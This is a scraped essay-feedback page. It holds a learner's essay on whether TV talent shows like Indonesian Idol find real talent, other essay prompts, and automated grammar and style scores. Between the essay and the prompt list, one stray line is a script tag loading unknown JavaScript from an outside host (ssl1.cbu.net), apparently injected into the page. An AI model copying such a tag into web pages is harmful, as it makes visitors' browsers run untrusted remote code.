Televised talent shows have become popular in many societies today.
Are these shows a good method of finding talented people, or are they just entertainment? (rewrite)
Worldwide attention goes into TV talent shows. For some people, this is a good way to find star quality. For some others, this is for the purpose of entertainment. Both views have strong arguments. However, I believe this is a design to please the talented people starting their career.
This show selects the contestants in almost all big cities in Indonesia freely. The zero charge of selection registration allows as many people as possible to take a part. It cannot be doubt that the more people joining this selection, the bigger the chance to find those best. Furthermore, this selection is opened to all people without limiting on their social and economy status. This competition is not only joined by high economy class singer, but also by many singing beggars. Veri AFI, a young man who comes from an impoverished family, previously spent his time to sing around traffic lamp to earn money, but nowadays he has become a great start. In addition, the involvement of experienced jurists in this process maintains the reliability of the assessment and bolsters the excellence of input.
After selected, those finalists are trained to be the professional one. To produce a high quality output, they are facilitated with many great trainers, sophisticated training tools and even luxurious homestay. Then, every week, the learning progress is examined through a fantastic show which is broadcasted by a television station. Not only jurists but also the watchers involve in the rating process. To intensify the training, jurists eliminate the lowest rated contestant every week. Citra Idol who was successful to keep going until the last show in Indonesian Idol has already made a good own career as famous singer after finishing their contract with particular TV station.
From this long process, the entertainment aspect is only visible in the show step. So, it is hardly to judge that this event emphasizes not in recruitment process. To conclude, it proves illusory that talented show is more entertaining rather than finding out talented people.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- News editors decide what to broadcast on television and what to print in newspapers What factors do you think influence these decisions Do we become used to bad news Would it be better if more good news was reported 60
- Universities should accept equal numbers of male and female students in every subject To what extent do you agree or disagree 81
- People naturally resist making changes in their lives. What kind of problems can cause this? What solution you suggest? Give the reasons for your answer and include any relevant examples from your own knowledge or experience.-Syerapke- re-write 70
- The following bar chart shows the different modes of transport used to travel to and from work in one European city in 1960, 1980 and 2000. 85
- You borrowed an important textbook from a classmate last term You now realise your classmate has returned home overseas and you still have the book Write a letter to him her In your letter apologise for the mistake find out how important the book is to hi 63
It cannot be doubt that
It cannot be doubted that
those finalists are trained to be the professional one
those finalists are trained to be the professional ones
flaws:
Sentence-Sentence Coherence: 0.043 0.07
Avg. Sentence Length: 15.952 21.0
Attribute Value Ideal
Score: 7.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 2 2
No. of Spelling Errors: 0 2
No. of Sentences: 21 15
No. of Words: 335 350
No. of Characters: 1677 1500
No. of Different Words: 209 200
Fourth Root of Number of Words: 4.278 4.7
Average Word Length: 5.006 4.6
Word Length SD: 2.679 2.4
No. of Words greater than 5 chars: 127 100
No. of Words greater than 6 chars: 89 80
No. of Words greater than 7 chars: 60 40
No. of Words greater than 8 chars: 39 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 15.952 21.0
Sentence Length SD: 6.601 7.5
Use of Discourse Markers (%): 0.381 0.12
Sentence-Text Coherence: 0.249 0.35
Sentence-Para Coherence: 0.448 0.50
Sentence-Sentence Coherence: 0.043 0.07
Number of Paragraphs: 4 5